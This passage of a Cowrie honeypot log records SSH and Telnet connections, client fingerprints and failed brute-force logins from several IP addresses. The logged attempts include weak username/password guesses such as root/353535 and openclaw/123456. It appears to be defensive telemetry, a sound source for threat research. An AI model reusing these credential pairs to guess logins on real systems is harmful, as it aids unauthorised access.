0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:31.216018Z","src_ip":"31.40.204.166","session":"ee857c74b9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:31.698543Z","src_ip":"31.40.204.166","session":"ee857c74b9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.34907054901123,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:32.742184Z","src_ip":"152.42.224.71","session":"9ee7a87db399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:32.995806Z","src_ip":"31.40.204.166","session":"ee857c74b9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50420,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b7ae6588a7d","protocol":"ssh","message":"New connection: 89.108.118.91:50420 (10.17.0.5:22) [session: 5b7ae6588a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:33.182659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:33.186256Z","src_ip":"89.108.118.91","session":"5b7ae6588a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:33.313348Z","src_ip":"89.108.118.91","session":"5b7ae6588a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:33.698208Z","src_ip":"89.108.118.91","session":"5b7ae6588a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:34.830700Z","src_ip":"89.108.118.91","session":"5b7ae6588a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00246500968933,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:36.692132Z","src_ip":"152.42.224.71","session":"d0f71837e2dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.27301287651062,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:42.053167Z","src_ip":"152.42.224.71","session":"22c34d3fdb51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"1285df3a9e5f","protocol":"ssh","message":"New connection: 31.40.204.166:39906 (159.203.135.109:22) [session: 1285df3a9e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:42.583393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:42.599044Z","src_ip":"31.40.204.166","session":"1285df3a9e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:42.729092Z","src_ip":"31.40.204.166","session":"1285df3a9e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:43.213733Z","src_ip":"31.40.204.166","session":"1285df3a9e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55572,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1868df6211d","protocol":"ssh","message":"New connection: 103.172.78.219:55572 (10.17.0.5:22) [session: e1868df6211d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:43.372231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:43.377022Z","src_ip":"103.172.78.219","session":"e1868df6211d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:43.623445Z","src_ip":"103.172.78.219","session":"e1868df6211d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:44.363623Z","src_ip":"103.172.78.219","session":"e1868df6211d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:44.406428Z","src_ip":"31.40.204.166","session":"1285df3a9e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58536,"dst_ip":"10.17.0.5","dst_port":23,"session":"2667cadc2f5e","protocol":"telnet","message":"New connection: 152.42.224.71:58536 (10.17.0.5:23) [session: 2667cadc2f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:45.191826Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:45.612664Z","src_ip":"103.172.78.219","session":"e1868df6211d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e47d96cbe8bb","protocol":"telnet","message":"New connection: 152.42.224.71:49610 (10.17.0.5:23) [session: e47d96cbe8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:46.923464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49624,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6f67dc3bcb","protocol":"telnet","message":"New connection: 152.42.224.71:49624 (10.17.0.5:23) [session: 3a6f67dc3bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:48.748168Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"957657bdefe3","protocol":"telnet","message":"New connection: 152.42.224.71:49628 (10.17.0.5:23) [session: 957657bdefe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:50.570191Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58980,"dst_ip":"159.203.135.109","dst_port":22,"session":"4251dba8f1cf","protocol":"ssh","message":"New connection: 31.40.204.166:58980 (159.203.135.109:22) [session: 4251dba8f1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:54.624457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:54.629518Z","src_ip":"31.40.204.166","session":"4251dba8f1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c965d4ec78","protocol":"telnet","message":"New connection: 152.42.224.71:49630 (10.17.0.5:23) [session: c1c965d4ec78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:54.821562Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:55.089546Z","src_ip":"31.40.204.166","session":"4251dba8f1cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:55.618881Z","src_ip":"31.40.204.166","session":"4251dba8f1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:56.794699Z","src_ip":"31.40.204.166","session":"4251dba8f1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"196a146ff37f","protocol":"telnet","message":"New connection: 152.42.224.71:41542 (10.17.0.5:23) [session: 196a146ff37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:11:57.748472Z"}
{"eventid":"cowrie.session.closed","duration":50.6733136177063,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:00.344254Z","src_ip":"152.42.224.71","session":"42583036168d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.15950083732605,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:01.943862Z","src_ip":"152.42.224.71","session":"5bbf90a78c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60494,"dst_ip":"10.17.0.5","dst_port":23,"session":"664946095851","protocol":"telnet","message":"New connection: 152.42.224.71:60494 (10.17.0.5:23) [session: 664946095851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:06.112960Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57900,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f517cc19a90","protocol":"ssh","message":"New connection: 31.40.204.166:57900 (159.203.135.109:22) [session: 9f517cc19a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:07.483022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:07.487996Z","src_ip":"31.40.204.166","session":"9f517cc19a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:07.614552Z","src_ip":"31.40.204.166","session":"9f517cc19a90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:08.184681Z","src_ip":"31.40.204.166","session":"9f517cc19a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2258251e30ea","protocol":"telnet","message":"New connection: 152.42.224.71:60496 (10.17.0.5:23) [session: 2258251e30ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:08.234417Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:09.321763Z","src_ip":"31.40.204.166","session":"9f517cc19a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60510,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a35e579774","protocol":"telnet","message":"New connection: 152.42.224.71:60510 (10.17.0.5:23) [session: 60a35e579774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:11.607601Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60518,"dst_ip":"10.17.0.5","dst_port":23,"session":"513dc34324b6","protocol":"telnet","message":"New connection: 152.42.224.71:60518 (10.17.0.5:23) [session: 513dc34324b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:12.250236Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60530,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e82a342725","protocol":"telnet","message":"New connection: 152.42.224.71:60530 (10.17.0.5:23) [session: 25e82a342725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:13.035648Z"}
{"eventid":"cowrie.session.closed","duration":120.00377631187439,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:15.812770Z","src_ip":"152.42.224.71","session":"06e80b2989f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41570,"dst_ip":"10.17.0.5","dst_port":23,"session":"13df9efa3c30","protocol":"telnet","message":"New connection: 152.42.224.71:41570 (10.17.0.5:23) [session: 13df9efa3c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:16.532522Z"}
{"eventid":"cowrie.session.closed","duration":28.860814809799194,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:17.608856Z","src_ip":"152.42.224.71","session":"3a6f67dc3bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59774,"dst_ip":"159.203.135.109","dst_port":22,"session":"be7e7876c8d6","protocol":"ssh","message":"New connection: 31.40.204.166:59774 (159.203.135.109:22) [session: be7e7876c8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:19.285384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:19.302564Z","src_ip":"31.40.204.166","session":"be7e7876c8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:19.416794Z","src_ip":"31.40.204.166","session":"be7e7876c8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:20.105559Z","src_ip":"31.40.204.166","session":"be7e7876c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"519bf06f6dab","protocol":"telnet","message":"New connection: 152.42.224.71:41576 (10.17.0.5:23) [session: 519bf06f6dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:20.644626Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:12:21.293885Z","src_ip":"31.40.204.166","session":"be7e7876c8d6","protocol":"ssh"}
